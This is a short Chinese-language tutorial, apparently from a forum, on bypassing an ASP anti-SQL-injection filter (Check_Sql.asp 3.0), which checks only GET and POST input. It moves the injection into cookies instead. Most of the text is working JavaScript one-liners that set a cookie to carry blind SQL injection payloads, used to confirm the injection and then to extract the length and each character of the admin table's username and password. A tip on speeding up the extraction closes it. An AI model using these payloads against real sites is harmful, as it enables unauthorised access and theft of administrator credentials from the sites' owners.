|
防注入程序,在检测到POST或GET方式的注入关键词时停止程序的输出。
网页文件在接受处理方式的时候一般是POST或GET两种方式:
Request.form或Request.QueryString
防注入程序3.0(Check_Sql.asp)正好只限制了这两种方式却没有限制Request.cookie的方式。
下面用Javascript构造语句就可以注射了
使用javascript脚本将Cookies中的ID变量的值改变(这个51是原先ID变量的值)
访问:http://localhost/shownews.asp?id=51
去掉URL,输入:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and 1=1\"));
这时候ID变量的值已经改变了,
访问:http://localhost/shownews.asp
因为没有输入任何ID变量,ASP程序会自动搜索到Cookies里有没有ID值,如果有就从Cookies里获取了
所以返回和http://localhost/shownews.asp?id=51相同的页面
说明修改为Cookies提交方式成功了
再次提交:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and 1=2\"));
访问:http://localhost/shownews.asp
返回错误,说明我们已经绕过防注入系统的检查,成功注入了。
猜解管理员帐号长度:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select len(username) from admin)=5\"));
猜解管理员密码长度:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select len(password) from admin)=16\"));
猜解username里的内容:
猜解admin表,username字段,第1位对应的ASCII码
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select asc(mid(username,1,1)) from admin)=97\"));
(mid(列名,2,1))
(mid(列名,3,1))
....
猜解password里的内容:
猜解admin表,password字段,第1位对应的ASCII码
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select asc(mid(password,1,1)) from admin)<97\"));
(mid(列名,2,1))
(mid(列名,3,1))
....
小技巧:
可以同时打开两个页面
http://localhost/shownews.asp
javascript:alert(document.cookie=\"id=\"+escape(\"51 and
用javascript注射完再刷新/shownews.asp,有助于提高速度 |
|